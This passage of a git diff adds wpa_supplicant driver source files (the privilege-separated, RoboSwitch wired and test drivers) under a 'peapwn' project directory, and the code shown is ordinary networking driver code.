len != ETH_ALEN) + return -1; + return 0; +} + + +static int wpa_driver_privsep_get_ssid(void *priv, u8 *ssid) +{ + struct wpa_driver_privsep_data *drv = priv; + int res, ssid_len; + u8 reply[sizeof(int) + 32]; + size_t len = sizeof(reply); + + res = wpa_priv_cmd(drv, PRIVSEP_CMD_GET_SSID, NULL, 0, reply, &len); + if (res < 0 || len < sizeof(int)) + return -1; + os_memcpy(&ssid_len, reply, sizeof(int)); + if (ssid_len < 0 || ssid_len > 32 || sizeof(int) + ssid_len > len) { + wpa_printf(MSG_DEBUG, "privsep: Invalid get SSID reply"); + return -1; + } + os_memcpy(ssid, &reply[sizeof(int)], ssid_len); + return ssid_len; +} + + +static int wpa_driver_privsep_deauthenticate(void *priv, const u8 *addr, + int reason_code) +{ + //struct wpa_driver_privsep_data *drv = priv; + wpa_printf(MSG_DEBUG, "%s addr=" MACSTR " reason_code=%d", + __func__, MAC2STR(addr), reason_code); + wpa_printf(MSG_DEBUG, "%s - TODO", __func__); + return 0; +} + + +static void wpa_driver_privsep_event_assoc(void *ctx, + enum wpa_event_type event, + u8 *buf, size_t len) +{ + union wpa_event_data data; + int inc_data = 0; + u8 *pos, *end; + int ie_len; + + os_memset(&data, 0, sizeof(data)); + + pos = buf; + end = buf + len; + + if (end - pos < (int) sizeof(int)) + return; + os_memcpy(&ie_len, pos, sizeof(int)); + pos += sizeof(int); + if (ie_len < 0 || ie_len > end - pos) + return; + if (ie_len) { + data.assoc_info.req_ies = pos; + data.assoc_info.req_ies_len = ie_len; + pos += ie_len; + inc_data = 1; + } + + wpa_supplicant_event(ctx, event, inc_data ? &data : NULL); +} + + +static void wpa_driver_privsep_event_interface_status(void *ctx, u8 *buf, + size_t len) +{ + union wpa_event_data data; + int ievent; + + if (len < sizeof(int) || + len - sizeof(int) > sizeof(data.interface_status.ifname)) + return; + + os_memcpy(&ievent, buf, sizeof(int)); + + os_memset(&data, 0, sizeof(data)); + data.interface_status.ievent = ievent; + os_memcpy(data.interface_status.ifname, buf + sizeof(int), + len - sizeof(int)); + wpa_supplicant_event(ctx, EVENT_INTERFACE_STATUS, &data); +} + + +static void wpa_driver_privsep_event_michael_mic_failure( + void *ctx, u8 *buf, size_t len) +{ + union wpa_event_data data; + + if (len != sizeof(int)) + return; + + os_memset(&data, 0, sizeof(data)); + os_memcpy(&data.michael_mic_failure.unicast, buf, sizeof(int)); + wpa_supplicant_event(ctx, EVENT_MICHAEL_MIC_FAILURE, &data); +} + + +static void wpa_driver_privsep_event_pmkid_candidate(void *ctx, u8 *buf, + size_t len) +{ + union wpa_event_data data; + + if (len != sizeof(struct pmkid_candidate)) + return; + + os_memset(&data, 0, sizeof(data)); + os_memcpy(&data.pmkid_candidate, buf, len); + wpa_supplicant_event(ctx, EVENT_PMKID_CANDIDATE, &data); +} + + +static void wpa_driver_privsep_event_stkstart(void *ctx, u8 *buf, size_t len) +{ + union wpa_event_data data; + + if (len != ETH_ALEN) + return; + + os_memset(&data, 0, sizeof(data)); + os_memcpy(data.stkstart.peer, buf, ETH_ALEN); + wpa_supplicant_event(ctx, EVENT_STKSTART, &data); +} + + +static void wpa_driver_privsep_event_ft_response(void *ctx, u8 *buf, + size_t len) +{ + union wpa_event_data data; + + if (len < sizeof(int) + ETH_ALEN) + return; + + os_memset(&data, 0, sizeof(data)); + os_memcpy(&data.ft_ies.ft_action, buf, sizeof(int)); + os_memcpy(data.ft_ies.target_ap, buf + sizeof(int), ETH_ALEN); + data.ft_ies.ies = buf + sizeof(int) + ETH_ALEN; + data.ft_ies.ies_len = len - sizeof(int) - ETH_ALEN; + wpa_supplicant_event(ctx, EVENT_FT_RESPONSE, &data); +} + + +static void wpa_driver_privsep_event_rx_eapol(void *ctx, u8 *buf, size_t len) +{ + if (len < ETH_ALEN) + return; + drv_event_eapol_rx(ctx, buf, buf + ETH_ALEN, len - ETH_ALEN); +} + + +static void wpa_driver_privsep_receive(int sock, void *eloop_ctx, + void *sock_ctx) +{ + struct wpa_driver_privsep_data *drv = eloop_ctx; + u8 *buf, *event_buf; + size_t event_len; + int res, event; + enum privsep_event e; + struct sockaddr_un from; + socklen_t fromlen = sizeof(from); + const size_t buflen = 2000; + + buf = os_malloc(buflen); + if (buf == NULL) + return; + res = recvfrom(sock, buf, buflen, 0, + (struct sockaddr *) &from, &fromlen); + if (res < 0) { + perror("recvfrom(priv_socket)"); + os_free(buf); + return; + } + + wpa_printf(MSG_DEBUG, "privsep_driver: received %u bytes", res); + + if (res < (int) sizeof(int)) { + wpa_printf(MSG_DEBUG, "Too short event message (len=%d)", res); + return; + } + + os_memcpy(&event, buf, sizeof(int)); + event_buf = &buf[sizeof(int)]; + event_len = res - sizeof(int); + wpa_printf(MSG_DEBUG, "privsep: Event %d received (len=%lu)", + event, (unsigned long) event_len); + + e = event; + switch (e) { + case PRIVSEP_EVENT_SCAN_RESULTS: + wpa_supplicant_event(drv->ctx, EVENT_SCAN_RESULTS, NULL); + break; + case PRIVSEP_EVENT_ASSOC: + wpa_driver_privsep_event_assoc(drv->ctx, EVENT_ASSOC, + event_buf, event_len); + break; + case PRIVSEP_EVENT_DISASSOC: + wpa_supplicant_event(drv->ctx, EVENT_DISASSOC, NULL); + break; + case PRIVSEP_EVENT_ASSOCINFO: + wpa_driver_privsep_event_assoc(drv->ctx, EVENT_ASSOCINFO, + event_buf, event_len); + break; + case PRIVSEP_EVENT_MICHAEL_MIC_FAILURE: + wpa_driver_privsep_event_michael_mic_failure( + drv->ctx, event_buf, event_len); + break; + case PRIVSEP_EVENT_INTERFACE_STATUS: + wpa_driver_privsep_event_interface_status(drv->ctx, event_buf, + event_len); + break; + case PRIVSEP_EVENT_PMKID_CANDIDATE: + wpa_driver_privsep_event_pmkid_candidate(drv->ctx, event_buf, + event_len); + break; + case PRIVSEP_EVENT_STKSTART: + wpa_driver_privsep_event_stkstart(drv->ctx, event_buf, + event_len); + break; + case PRIVSEP_EVENT_FT_RESPONSE: + wpa_driver_privsep_event_ft_response(drv->ctx, event_buf, + event_len); + break; + case PRIVSEP_EVENT_RX_EAPOL: + wpa_driver_privsep_event_rx_eapol(drv->ctx, event_buf, + event_len); + break; + } + + os_free(buf); +} + + +static void * wpa_driver_privsep_init(void *ctx, const char *ifname) +{ + struct wpa_driver_privsep_data *drv; + + drv = os_zalloc(sizeof(*drv)); + if (drv == NULL) + return NULL; + drv->ctx = ctx; + drv->priv_socket = -1; + drv->cmd_socket = -1; + os_strlcpy(drv->ifname, ifname, sizeof(drv->ifname)); + + return drv; +} + + +static void wpa_driver_privsep_deinit(void *priv) +{ + struct wpa_driver_privsep_data *drv = priv; + + if (drv->priv_socket >= 0) { + wpa_priv_reg_cmd(drv, PRIVSEP_CMD_UNREGISTER); + eloop_unregister_read_sock(drv->priv_socket); + close(drv->priv_socket); + } + + if (drv->own_socket_path) { + unlink(drv->own_socket_path); + os_free(drv->own_socket_path); + } + + if (drv->cmd_socket >= 0) { + eloop_unregister_read_sock(drv->cmd_socket); + close(drv->cmd_socket); + } + + if (drv->own_cmd_path) { + unlink(drv->own_cmd_path); + os_free(drv->own_cmd_path); + } + + os_free(drv); +} + + +static int wpa_driver_privsep_set_param(void *priv, const char *param) +{ + struct wpa_driver_privsep_data *drv = priv; + const char *pos; + char *own_dir, *priv_dir; + static unsigned int counter = 0; + size_t len; + struct sockaddr_un addr; + + wpa_printf(MSG_DEBUG, "%s: param='%s'", __func__, param); + if (param == NULL) + pos = NULL; + else + pos = os_strstr(param, "own_dir="); + if (pos) { + char *end; + own_dir = os_strdup(pos + 8); + if (own_dir == NULL) + return -1; + end = os_strchr(own_dir, ' '); + if (end) + *end = '\0'; + } else { + own_dir = os_strdup("/tmp"); + if (own_dir == NULL) + return -1; + } + + if (param == NULL) + pos = NULL; + else + pos = os_strstr(param, "priv_dir="); + if (pos) { + char *end; + priv_dir = os_strdup(pos + 9); + if (priv_dir == NULL) { + os_free(own_dir); + return -1; + } + end = os_strchr(priv_dir, ' '); + if (end) + *end = '\0'; + } else { + priv_dir = os_strdup("/var/run/wpa_priv"); + if (priv_dir == NULL) { + os_free(own_dir); + return -1; + } + } + + len = os_strlen(own_dir) + 50; + drv->own_socket_path = os_malloc(len); + if (drv->own_socket_path == NULL) { + os_free(priv_dir); + os_free(own_dir); + return -1; + } + os_snprintf(drv->own_socket_path, len, "%s/wpa_privsep-%d-%d", + own_dir, getpid(), counter++); + + len = os_strlen(own_dir) + 50; + drv->own_cmd_path = os_malloc(len); + if (drv->own_cmd_path == NULL) { + os_free(drv->own_socket_path); + drv->own_socket_path = NULL; + os_free(priv_dir); + os_free(own_dir); + return -1; + } + os_snprintf(drv->own_cmd_path, len, "%s/wpa_privsep-%d-%d", + own_dir, getpid(), counter++); + + os_free(own_dir); + + drv->priv_addr.sun_family = AF_UNIX; + os_snprintf(drv->priv_addr.sun_path, sizeof(drv->priv_addr.sun_path), + "%s/%s", priv_dir, drv->ifname); + os_free(priv_dir); + + drv->priv_socket = socket(PF_UNIX, SOCK_DGRAM, 0); + if (drv->priv_socket < 0) { + perror("socket(PF_UNIX)"); + os_free(drv->own_socket_path); + drv->own_socket_path = NULL; + return -1; + } + + os_memset(&addr, 0, sizeof(addr)); + addr.sun_family = AF_UNIX; + os_strlcpy(addr.sun_path, drv->own_socket_path, sizeof(addr.sun_path)); + if (bind(drv->priv_socket, (struct sockaddr *) &addr, sizeof(addr)) < + 0) { + perror("privsep-set-params priv-sock: bind(PF_UNIX)"); + close(drv->priv_socket); + drv->priv_socket = -1; + unlink(drv->own_socket_path); + os_free(drv->own_socket_path); + drv->own_socket_path = NULL; + return -1; + } + + eloop_register_read_sock(drv->priv_socket, wpa_driver_privsep_receive, + drv, NULL); + + drv->cmd_socket = socket(PF_UNIX, SOCK_DGRAM, 0); + if (drv->cmd_socket < 0) { + perror("socket(PF_UNIX)"); + os_free(drv->own_cmd_path); + drv->own_cmd_path = NULL; + return -1; + } + + os_memset(&addr, 0, sizeof(addr)); + addr.sun_family = AF_UNIX; + os_strlcpy(addr.sun_path, drv->own_cmd_path, sizeof(addr.sun_path)); + if (bind(drv->cmd_socket, (struct sockaddr *) &addr, sizeof(addr)) < 0) + { + perror("privsep-set-params cmd-sock: bind(PF_UNIX)"); + close(drv->cmd_socket); + drv->cmd_socket = -1; + unlink(drv->own_cmd_path); + os_free(drv->own_cmd_path); + drv->own_cmd_path = NULL; + return -1; + } + + if (wpa_priv_reg_cmd(drv, PRIVSEP_CMD_REGISTER) < 0) { + wpa_printf(MSG_ERROR, "Failed to register with wpa_priv"); + return -1; + } + + return 0; +} + + +static int wpa_driver_privsep_get_capa(void *priv, + struct wpa_driver_capa *capa) +{ + struct wpa_driver_privsep_data *drv = priv; + int res; + size_t len = sizeof(*capa); + + res = wpa_priv_cmd(drv, PRIVSEP_CMD_GET_CAPA, NULL, 0, capa, &len); + if (res < 0 || len != sizeof(*capa)) + return -1; + return 0; +} + + +static const u8 * wpa_driver_privsep_get_mac_addr(void *priv) +{ + struct wpa_driver_privsep_data *drv = priv; + wpa_printf(MSG_DEBUG, "%s", __func__); + return drv->own_addr; +} + + +static int wpa_driver_privsep_set_country(void *priv, const char *alpha2) +{ + struct wpa_driver_privsep_data *drv = priv; + wpa_printf(MSG_DEBUG, "%s country='%s'", __func__, alpha2); + return wpa_priv_cmd(drv, PRIVSEP_CMD_SET_COUNTRY, alpha2, + os_strlen(alpha2), NULL, NULL); +} + + +struct wpa_driver_ops wpa_driver_privsep_ops = { + "privsep", + "wpa_supplicant privilege separated driver", + .get_bssid = wpa_driver_privsep_get_bssid, + .get_ssid = wpa_driver_privsep_get_ssid, + .set_key = wpa_driver_privsep_set_key, + .init = wpa_driver_privsep_init, + .deinit = wpa_driver_privsep_deinit, + .set_param = wpa_driver_privsep_set_param, + .scan2 = wpa_driver_privsep_scan, + .deauthenticate = wpa_driver_privsep_deauthenticate, + .associate = wpa_driver_privsep_associate, + .get_capa = wpa_driver_privsep_get_capa, + .get_mac_addr = wpa_driver_privsep_get_mac_addr, + .get_scan_results2 = wpa_driver_privsep_get_scan_results2, + .set_country = wpa_driver_privsep_set_country, +}; + + +struct wpa_driver_ops *wpa_drivers[] = +{ + &wpa_driver_privsep_ops, + NULL +}; diff --git a/peapwn/mods/hostap/src/drivers/driver_roboswitch.c b/peapwn/mods/hostap/src/drivers/driver_roboswitch.c new file mode 100644 index 000000000..0a9078a4a --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/driver_roboswitch.c @@ -0,0 +1,474 @@ +/* + * WPA Supplicant - roboswitch driver interface + * Copyright (c) 2008-2009 Jouke Witteveen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include +#include +#include +#include +#include + +#include "common.h" +#include "driver.h" +#include "l2_packet/l2_packet.h" + +#define ROBO_PHY_ADDR 0x1e /* RoboSwitch PHY address */ + +/* MII access registers */ +#define ROBO_MII_PAGE 0x10 /* MII page register */ +#define ROBO_MII_ADDR 0x11 /* MII address register */ +#define ROBO_MII_DATA_OFFSET 0x18 /* Start of MII data registers */ + +#define ROBO_MII_PAGE_ENABLE 0x01 /* MII page op code */ +#define ROBO_MII_ADDR_WRITE 0x01 /* MII address write op code */ +#define ROBO_MII_ADDR_READ 0x02 /* MII address read op code */ +#define ROBO_MII_DATA_MAX 4 /* Consecutive MII data registers */ +#define ROBO_MII_RETRY_MAX 10 /* Read attempts before giving up */ + +/* Page numbers */ +#define ROBO_ARLCTRL_PAGE 0x04 /* ARL control page */ +#define ROBO_VLAN_PAGE 0x34 /* VLAN page */ + +/* ARL control page registers */ +#define ROBO_ARLCTRL_CONF 0x00 /* ARL configuration register */ +#define ROBO_ARLCTRL_ADDR_1 0x10 /* Multiport address 1 */ +#define ROBO_ARLCTRL_VEC_1 0x16 /* Multiport vector 1 */ +#define ROBO_ARLCTRL_ADDR_2 0x20 /* Multiport address 2 */ +#define ROBO_ARLCTRL_VEC_2 0x26 /* Multiport vector 2 */ + +/* VLAN page registers */ +#define ROBO_VLAN_ACCESS 0x08 /* VLAN table access register */ +#define ROBO_VLAN_ACCESS_5350 0x06 /* VLAN table access register (5350) */ +#define ROBO_VLAN_READ 0x0c /* VLAN read register */ +#define ROBO_VLAN_MAX 0xff /* Maximum number of VLANs */ + + +static const u8 pae_group_addr[ETH_ALEN] = +{ 0x01, 0x80, 0xc2, 0x00, 0x00, 0x03 }; + + +struct wpa_driver_roboswitch_data { + void *ctx; + struct l2_packet_data *l2; + char ifname[IFNAMSIZ + 1]; + u8 own_addr[ETH_ALEN]; + struct ifreq ifr; + int fd, is_5350; + u16 ports; +}; + + +/* Copied from the kernel-only part of mii.h. */ +static inline struct mii_ioctl_data *if_mii(struct ifreq *rq) +{ + return (struct mii_ioctl_data *) &rq->ifr_ifru; +} + + +/* + * RoboSwitch uses 16-bit Big Endian addresses. + * The ordering of the words is reversed in the MII registers. + */ +static void wpa_driver_roboswitch_addr_be16(const u8 addr[ETH_ALEN], u16 *be) +{ + int i; + for (i = 0; i < ETH_ALEN; i += 2) + be[(ETH_ALEN - i) / 2 - 1] = WPA_GET_BE16(addr + i); +} + + +static u16 wpa_driver_roboswitch_mdio_read( + struct wpa_driver_roboswitch_data *drv, u8 reg) +{ + struct mii_ioctl_data *mii = if_mii(&drv->ifr); + + mii->phy_id = ROBO_PHY_ADDR; + mii->reg_num = reg; + + if (ioctl(drv->fd, SIOCGMIIREG, &drv->ifr) < 0) { + perror("ioctl[SIOCGMIIREG]"); + return 0x00; + } + return mii->val_out; +} + + +static void wpa_driver_roboswitch_mdio_write( + struct wpa_driver_roboswitch_data *drv, u8 reg, u16 val) +{ + struct mii_ioctl_data *mii = if_mii(&drv->ifr); + + mii->phy_id = ROBO_PHY_ADDR; + mii->reg_num = reg; + mii->val_in = val; + + if (ioctl(drv->fd, SIOCSMIIREG, &drv->ifr) < 0) { + perror("ioctl[SIOCSMIIREG"); + } +} + + +static int wpa_driver_roboswitch_reg(struct wpa_driver_roboswitch_data *drv, + u8 page, u8 reg, u8 op) +{ + int i; + + /* set page number */ + wpa_driver_roboswitch_mdio_write(drv, ROBO_MII_PAGE, + (page << 8) | ROBO_MII_PAGE_ENABLE); + /* set register address */ + wpa_driver_roboswitch_mdio_write(drv, ROBO_MII_ADDR, (reg << 8) | op); + + /* check if operation completed */ + for (i = 0; i < ROBO_MII_RETRY_MAX; ++i) { + if ((wpa_driver_roboswitch_mdio_read(drv, ROBO_MII_ADDR) & 3) + == 0) + return 0; + } + /* timeout */ + return -1; +} + + +static int wpa_driver_roboswitch_read(struct wpa_driver_roboswitch_data *drv, + u8 page, u8 reg, u16 *val, int len) +{ + int i; + + if (len > ROBO_MII_DATA_MAX || + wpa_driver_roboswitch_reg(drv, page, reg, ROBO_MII_ADDR_READ) < 0) + return -1; + + for (i = 0; i < len; ++i) { + val[i] = wpa_driver_roboswitch_mdio_read( + drv, ROBO_MII_DATA_OFFSET + i); + } + + return 0; +} + + +static int wpa_driver_roboswitch_write(struct wpa_driver_roboswitch_data *drv, + u8 page, u8 reg, u16 *val, int len) +{ + int i; + + if (len > ROBO_MII_DATA_MAX) return -1; + for (i = 0; i < len; ++i) { + wpa_driver_roboswitch_mdio_write(drv, ROBO_MII_DATA_OFFSET + i, + val[i]); + } + return wpa_driver_roboswitch_reg(drv, page, reg, ROBO_MII_ADDR_WRITE); +} + + +static void wpa_driver_roboswitch_receive(void *priv, const u8 *src_addr, + const u8 *buf, size_t len) +{ + struct wpa_driver_roboswitch_data *drv = priv; + + if (len > 14 && WPA_GET_BE16(buf + 12) == ETH_P_EAPOL && + os_memcmp(buf, drv->own_addr, ETH_ALEN) == 0) + drv_event_eapol_rx(drv->ctx, src_addr, buf + 14, len - 14); +} + + +static int wpa_driver_roboswitch_get_ssid(void *priv, u8 *ssid) +{ + ssid[0] = 0; + return 0; +} + + +static int wpa_driver_roboswitch_get_bssid(void *priv, u8 *bssid) +{ + /* Report PAE group address as the "BSSID" for wired connection. */ + os_memcpy(bssid, pae_group_addr, ETH_ALEN); + return 0; +} + + +static int wpa_driver_roboswitch_get_capa(void *priv, + struct wpa_driver_capa *capa) +{ + os_memset(capa, 0, sizeof(*capa)); + capa->flags = WPA_DRIVER_FLAGS_WIRED; + return 0; +} + + +static int wpa_driver_roboswitch_set_param(void *priv, const char *param) +{ + struct wpa_driver_roboswitch_data *drv = priv; + char *sep; + + if (param == NULL || os_strstr(param, "multicast_only=1") == NULL) { + sep = drv->ifname + os_strlen(drv->ifname); + *sep = '.'; + drv->l2 = l2_packet_init(drv->ifname, NULL, ETH_P_ALL, + wpa_driver_roboswitch_receive, drv, + 1); + if (drv->l2 == NULL) { + wpa_printf(MSG_INFO, "%s: Unable to listen on %s", + __func__, drv->ifname); + return -1; + } + *sep = '\0'; + l2_packet_get_own_addr(drv->l2, drv->own_addr); + } else { + wpa_printf(MSG_DEBUG, "%s: Ignoring unicast frames", __func__); + drv->l2 = NULL; + } + return 0; +} + + +static const char * wpa_driver_roboswitch_get_ifname(void *priv) +{ + struct wpa_driver_roboswitch_data *drv = priv; + return drv->ifname; +} + + +static int wpa_driver_roboswitch_join(struct wpa_driver_roboswitch_data *drv, + u16 ports, const u8 *addr) +{ + u16 read1[3], read2[3], addr_be16[3]; + + wpa_driver_roboswitch_addr_be16(addr, addr_be16); + + if (wpa_driver_roboswitch_read(drv, ROBO_ARLCTRL_PAGE, + ROBO_ARLCTRL_CONF, read1, 1) < 0) + return -1; + if (!(read1[0] & (1 << 4))) { + /* multiport addresses are not yet enabled */ + read1[0] |= 1 << 4; + wpa_driver_roboswitch_write(drv, ROBO_ARLCTRL_PAGE, + ROBO_ARLCTRL_ADDR_1, addr_be16, 3); + wpa_driver_roboswitch_write(drv, ROBO_ARLCTRL_PAGE, + ROBO_ARLCTRL_VEC_1, &ports, 1); + wpa_driver_roboswitch_write(drv, ROBO_ARLCTRL_PAGE, + ROBO_ARLCTRL_ADDR_2, addr_be16, 3); + wpa_driver_roboswitch_write(drv, ROBO_ARLCTRL_PAGE, + ROBO_ARLCTRL_VEC_2, &ports, 1); + wpa_driver_roboswitch_write(drv, ROBO_ARLCTRL_PAGE, + ROBO_ARLCTRL_CONF, read1, 1); + } else { + /* if both multiport addresses are the same we can add */ + wpa_driver_roboswitch_read(drv, ROBO_ARLCTRL_PAGE, + ROBO_ARLCTRL_ADDR_1, read1, 3); + wpa_driver_roboswitch_read(drv, ROBO_ARLCTRL_PAGE, + ROBO_ARLCTRL_ADDR_2, read2, 3); + if (os_memcmp(read1, read2, 6) != 0) + return -1; + wpa_driver_roboswitch_read(drv, ROBO_ARLCTRL_PAGE, + ROBO_ARLCTRL_VEC_1, read1, 1); + wpa_driver_roboswitch_read(drv, ROBO_ARLCTRL_PAGE, + ROBO_ARLCTRL_VEC_2, read2, 1); + if (read1[0] != read2[0]) + return -1; + wpa_driver_roboswitch_write(drv, ROBO_ARLCTRL_PAGE, + ROBO_ARLCTRL_ADDR_1, addr_be16, 3); + wpa_driver_roboswitch_write(drv, ROBO_ARLCTRL_PAGE, + ROBO_ARLCTRL_VEC_1, &ports, 1); + } + return 0; +} + + +static int wpa_driver_roboswitch_leave(struct wpa_driver_roboswitch_data *drv, + u16 ports, const u8 *addr) +{ + u16 _read, addr_be16[3], addr_read[3], ports_read; + + wpa_driver_roboswitch_addr_be16(addr, addr_be16); + + wpa_driver_roboswitch_read(drv, ROBO_ARLCTRL_PAGE, ROBO_ARLCTRL_CONF, + &_read, 1); + /* If ARL control is disabled, there is nothing to leave. */ + if (!(_read & (1 << 4))) return -1; + + wpa_driver_roboswitch_read(drv, ROBO_ARLCTRL_PAGE, + ROBO_ARLCTRL_ADDR_1, addr_read, 3); + wpa_driver_roboswitch_read(drv, ROBO_ARLCTRL_PAGE, ROBO_ARLCTRL_VEC_1, + &ports_read, 1); + /* check if we occupy multiport address 1 */ + if (os_memcmp(addr_read, addr_be16, 6) == 0 && ports_read == ports) { + wpa_driver_roboswitch_read(drv, ROBO_ARLCTRL_PAGE, + ROBO_ARLCTRL_ADDR_2, addr_read, 3); + wpa_driver_roboswitch_read(drv, ROBO_ARLCTRL_PAGE, + ROBO_ARLCTRL_VEC_2, &ports_read, 1); + /* and multiport address 2 */ + if (os_memcmp(addr_read, addr_be16, 6) == 0 && + ports_read == ports) { + _read &= ~(1 << 4); + wpa_driver_roboswitch_write(drv, ROBO_ARLCTRL_PAGE, + ROBO_ARLCTRL_CONF, &_read, + 1); + } else { + wpa_driver_roboswitch_read(drv, ROBO_ARLCTRL_PAGE, + ROBO_ARLCTRL_ADDR_1, + addr_read, 3); + wpa_driver_roboswitch_read(drv, ROBO_ARLCTRL_PAGE, + ROBO_ARLCTRL_VEC_1, + &ports_read, 1); + wpa_driver_roboswitch_write(drv, ROBO_ARLCTRL_PAGE, + ROBO_ARLCTRL_ADDR_2, + addr_read, 3); + wpa_driver_roboswitch_write(drv, ROBO_ARLCTRL_PAGE, + ROBO_ARLCTRL_VEC_2, + &ports_read, 1); + } + } else { + wpa_driver_roboswitch_read(drv, ROBO_ARLCTRL_PAGE, + ROBO_ARLCTRL_ADDR_2, addr_read, 3); + wpa_driver_roboswitch_read(drv, ROBO_ARLCTRL_PAGE, + ROBO_ARLCTRL_VEC_2, &ports_read, 1); + /* or multiport address 2 */ + if (os_memcmp(addr_read, addr_be16, 6) == 0 && + ports_read == ports) { + wpa_driver_roboswitch_write(drv, ROBO_ARLCTRL_PAGE, + ROBO_ARLCTRL_ADDR_1, + addr_read, 3); + wpa_driver_roboswitch_write(drv, ROBO_ARLCTRL_PAGE, + ROBO_ARLCTRL_VEC_1, + &ports_read, 1); + } else return -1; + } + return 0; +} + + +static void * wpa_driver_roboswitch_init(void *ctx, const char *ifname) +{ + struct wpa_driver_roboswitch_data *drv; + char *sep; + u16 vlan = 0, _read[2]; + + drv = os_zalloc(sizeof(*drv)); + if (drv == NULL) return NULL; + drv->ctx = ctx; + drv->own_addr[0] = '\0'; + + /* copy ifname and take a pointer to the second to last character */ + sep = drv->ifname + + os_strlcpy(drv->ifname, ifname, sizeof(drv->ifname)) - 2; + /* find the '.' separating and */ + while (sep > drv->ifname && *sep != '.') sep--; + if (sep <= drv->ifname) { + wpa_printf(MSG_INFO, "%s: No . pair in " + "interface name %s", __func__, drv->ifname); + os_free(drv); + return NULL; + } + *sep = '\0'; + while (*++sep) { + if (*sep < '0' || *sep > '9') { + wpa_printf(MSG_INFO, "%s: Invalid vlan specification " + "in interface name %s", __func__, ifname); + os_free(drv); + return NULL; + } + vlan *= 10; + vlan += *sep - '0'; + if (vlan > ROBO_VLAN_MAX) { + wpa_printf(MSG_INFO, "%s: VLAN out of range in " + "interface name %s", __func__, ifname); + os_free(drv); + return NULL; + } + } + + drv->fd = socket(PF_INET, SOCK_DGRAM, 0); + if (drv->fd < 0) { + wpa_printf(MSG_INFO, "%s: Unable to create socket", __func__); + os_free(drv); + return NULL; + } + + os_memset(&drv->ifr, 0, sizeof(drv->ifr)); + os_strlcpy(drv->ifr.ifr_name, drv->ifname, IFNAMSIZ); + if (ioctl(drv->fd, SIOCGMIIPHY, &drv->ifr) < 0) { + perror("ioctl[SIOCGMIIPHY]"); + os_free(drv); + return NULL; + } + if (if_mii(&drv->ifr)->phy_id != ROBO_PHY_ADDR) { + wpa_printf(MSG_INFO, "%s: Invalid phy address (not a " + "RoboSwitch?)", __func__); + os_free(drv); + return NULL; + } + + /* set and read back to see if the register can be used */ + _read[0] = ROBO_VLAN_MAX; + wpa_driver_roboswitch_write(drv, ROBO_VLAN_PAGE, ROBO_VLAN_ACCESS_5350, + _read, 1); + wpa_driver_roboswitch_read(drv, ROBO_VLAN_PAGE, ROBO_VLAN_ACCESS_5350, + _read + 1, 1); + drv->is_5350 = _read[0] == _read[1]; + + /* set the read bit */ + vlan |= 1 << 13; + wpa_driver_roboswitch_write(drv, ROBO_VLAN_PAGE, + drv->is_5350 ? ROBO_VLAN_ACCESS_5350 + : ROBO_VLAN_ACCESS, + &vlan, 1); + wpa_driver_roboswitch_read(drv, ROBO_VLAN_PAGE, ROBO_VLAN_READ, _read, + drv->is_5350 ? 2 : 1); + if (!(drv->is_5350 ? _read[1] & (1 << 4) : _read[0] & (1 << 14))) { + wpa_printf(MSG_INFO, "%s: Could not get port information for " + "VLAN %d", __func__, vlan & ~(1 << 13)); + os_free(drv); + return NULL; + } + drv->ports = _read[0] & 0x001F; + /* add the MII port */ + drv->ports |= 1 << 8; + if (wpa_driver_roboswitch_join(drv, drv->ports, pae_group_addr) < 0) { + wpa_printf(MSG_INFO, "%s: Unable to join PAE group", __func__); + os_free(drv); + return NULL; + } else { + wpa_printf(MSG_DEBUG, "%s: Added PAE group address to " + "RoboSwitch ARL", __func__); + } + + return drv; +} + + +static void wpa_driver_roboswitch_deinit(void *priv) +{ + struct wpa_driver_roboswitch_data *drv = priv; + + if (drv->l2) { + l2_packet_deinit(drv->l2); + drv->l2 = NULL; + } + if (wpa_driver_roboswitch_leave(drv, drv->ports, pae_group_addr) < 0) { + wpa_printf(MSG_DEBUG, "%s: Unable to leave PAE group", + __func__); + } + + close(drv->fd); + os_free(drv); +} + + +const struct wpa_driver_ops wpa_driver_roboswitch_ops = { + .name = "roboswitch", + .desc = "wpa_supplicant roboswitch driver", + .get_ssid = wpa_driver_roboswitch_get_ssid, + .get_bssid = wpa_driver_roboswitch_get_bssid, + .get_capa = wpa_driver_roboswitch_get_capa, + .init = wpa_driver_roboswitch_init, + .deinit = wpa_driver_roboswitch_deinit, + .set_param = wpa_driver_roboswitch_set_param, + .get_ifname = wpa_driver_roboswitch_get_ifname, +}; diff --git a/peapwn/mods/hostap/src/drivers/driver_test.c b/peapwn/mods/hostap/src/drivers/driver_test.c new file mode 100644 index 000000000..5742b988b --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/driver_test.c @@ -0,0 +1,3322 @@ +/* + * Testing driver interface for a simulated network driver + * Copyright (c) 2004-2010, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +/* Make sure we get winsock2.h for Windows build to get sockaddr_storage */ +#include "build_config.h" +#ifdef CONFIG_NATIVE_WINDOWS +#include +#endif /* CONFIG_NATIVE_WINDOWS */ + +#include "utils/includes.h" + +#ifndef CONFIG_NATIVE_WINDOWS +#include +#include +#include +#define DRIVER_TEST_UNIX +#endif /* CONFIG_NATIVE_WINDOWS */ + +#include "utils/common.h" +#include "utils/eloop.h" +#include "utils/list.h" +#include "utils/trace.h" +#include "common/ieee802_11_defs.h" +#include "crypto/sha1.h" +#include "l2_packet/l2_packet.h" +#include "p2p/p2p.h" +#include "wps/wps.h" +#include "driver.h" + + +struct test_client_socket { + struct test_client_socket *next; + u8 addr[ETH_ALEN]; + struct sockaddr_un un; + socklen_t unlen; + struct test_driver_bss *bss; +}; + +struct test_driver_bss { + struct wpa_driver_test_data *drv; + struct dl_list list; + void *bss_ctx; + char ifname[IFNAMSIZ]; + u8 bssid[ETH_ALEN]; + u8 *ie; + size_t ielen; + u8 *wps_beacon_ie; + size_t wps_beacon_ie_len; + u8 *wps_probe_resp_ie; + size_t wps_probe_resp_ie_len; + u8 ssid[32]; + size_t ssid_len; + int privacy; +}; + +struct wpa_driver_test_global { + int bss_add_used; + u8 req_addr[ETH_ALEN]; +}; + +struct wpa_driver_test_data { + struct wpa_driver_test_global *global; + void *ctx; + WPA_TRACE_REF(ctx); + u8 own_addr[ETH_ALEN]; + int test_socket; +#ifdef DRIVER_TEST_UNIX + struct sockaddr_un hostapd_addr; +#endif /* DRIVER_TEST_UNIX */ + int hostapd_addr_set; + struct sockaddr_in hostapd_addr_udp; + int hostapd_addr_udp_set; + char *own_socket_path; + char *test_dir; 